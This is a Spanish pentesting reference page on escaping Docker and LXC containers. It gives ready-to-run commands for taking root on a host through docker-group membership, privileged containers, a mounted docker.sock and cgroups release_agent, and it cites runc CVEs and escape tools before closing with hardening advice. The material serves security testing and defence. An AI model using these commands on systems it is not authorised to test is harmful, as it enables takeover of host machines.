Escape de contenedores y Docker
Los contenedores (Docker, containerd, LXC) aíslan procesos, pero ese aislamiento es más débil que el de una VM: comparten el kernel del host. Para un atacante hay dos escenarios clave: estar en el grupo docker de un host (= root trivial en el host) o estar dentro de un contenedor y querer escapar al host. Ambos son vectores de escalada muy habituales, especialmente en servidores de desarrollo y CI/CD.
Escenario 1: pertenecer al grupo docker (= root)
Sección titulada «Escenario 1: pertenecer al grupo docker (= root)»Si tu usuario está en el grupo docker, puedes lanzar contenedores con el filesystem del host montado → root trivial:
id # ¿docker en los grupos?# montar la raíz del host en un contenedor y chrooteardocker run -v /:/mnt --rm -it alpine chroot /mnt sh# ya eres root sobre el filesystem del host; o:docker run -v /:/mnt --rm -it alpine sh -c 'echo "..." >> /mnt/etc/passwd'Esto no es un “escape”: es que el grupo docker equivale a root en el host por diseño. Lo mismo aplica a lxd/lxc (montar el disco del host en un contenedor privilegiado).
Escenario 2: escapar desde dentro de un contenedor
Sección titulada «Escenario 2: escapar desde dentro de un contenedor»Primero, ¿estás en un contenedor y cómo de confinado?
# ¿estoy en un contenedor?cat /proc/1/cgroup ; ls -la /.dockerenv# ¿privilegiado? ¿qué capabilities/montajes tengo?capsh --print ; cat /proc/self/status | grep Capmount ; cat /proc/mountsContenedor privilegiado (--privileged)
Sección titulada «Contenedor privilegiado (--privileged)»Un contenedor privilegiado tiene casi todas las capabilities y acceso a los dispositivos del host → escape sencillo:
# montar el disco del host (visible como /dev/sdaX) y leer/escribirfdisk -l ; mount /dev/sda1 /mnt ; chroot /mnt# o abusar de cgroups release_agent para ejecutar en el hostDocker socket expuesto
Sección titulada «Docker socket expuesto»Si el socket de Docker (/var/run/docker.sock) está montado dentro del contenedor, controlas el daemon del host → equivalente a root en el host:
ls -la /var/run/docker.sock# con acceso al socket, lanzas un contenedor que monta / del hostdocker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shCapabilities peligrosas en el contenedor
Sección titulada «Capabilities peligrosas en el contenedor»CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH dentro del contenedor abren vías de escape (p. ej. abusar de release_agent de cgroups, o leer el filesystem del host).
CVEs de runtime
Sección titulada «CVEs de runtime»runC (CVE-2019-5736) sobrescribir el binario runc del host -> escapeCVE-2022-0492 cgroups v1 release_agent -> escapeDirty Pipe/COW si el kernel es vulnerable, escape vía kernel (ver lin-kernel)Herramientas
Sección titulada «Herramientas»deepce.sh # enumera y automatiza escapes de contenedoramicontained # qué capabilities/seccomp/restricciones tengolinpeas (modo contenedor)Para la defensa
Sección titulada «Para la defensa»- No añadir usuarios al grupo docker sin entender que es equivalente a root; usar
sudoacotado o rootless Docker. - No
--privilegedsalvo necesidad extrema; no montardocker.sockdentro de contenedores. - Drop capabilities (
--cap-drop ALLy añadir solo las necesarias), seccomp/AppArmor por defecto, usuario no-root dentro del contenedor (USER). - Read-only rootfs, no montar rutas sensibles del host, user namespaces (remapear root).
- Parchear el runtime (runc) y el kernel; escanear imágenes; mínimo privilegio en CI/CD.
Checklist de prueba
Sección titulada «Checklist de prueba»- ¿Pertenezco al grupo docker/lxd? → root trivial en el host
- ¿Estoy en un contenedor? (/.dockerenv, /proc/1/cgroup)
- ¿Privilegiado? capabilities y montajes (capsh/amicontained)
- ¿docker.sock montado dentro del contenedor?
- Disco del host accesible (/dev/sdaX) → mount/chroot
- Capabilities peligrosas → release_agent/cgroups
- CVEs de runtime (runc CVE-2019-5736, CVE-2022-0492)
- Blue: ¿cap-drop, seccomp, sin privileged, sin socket, rootless?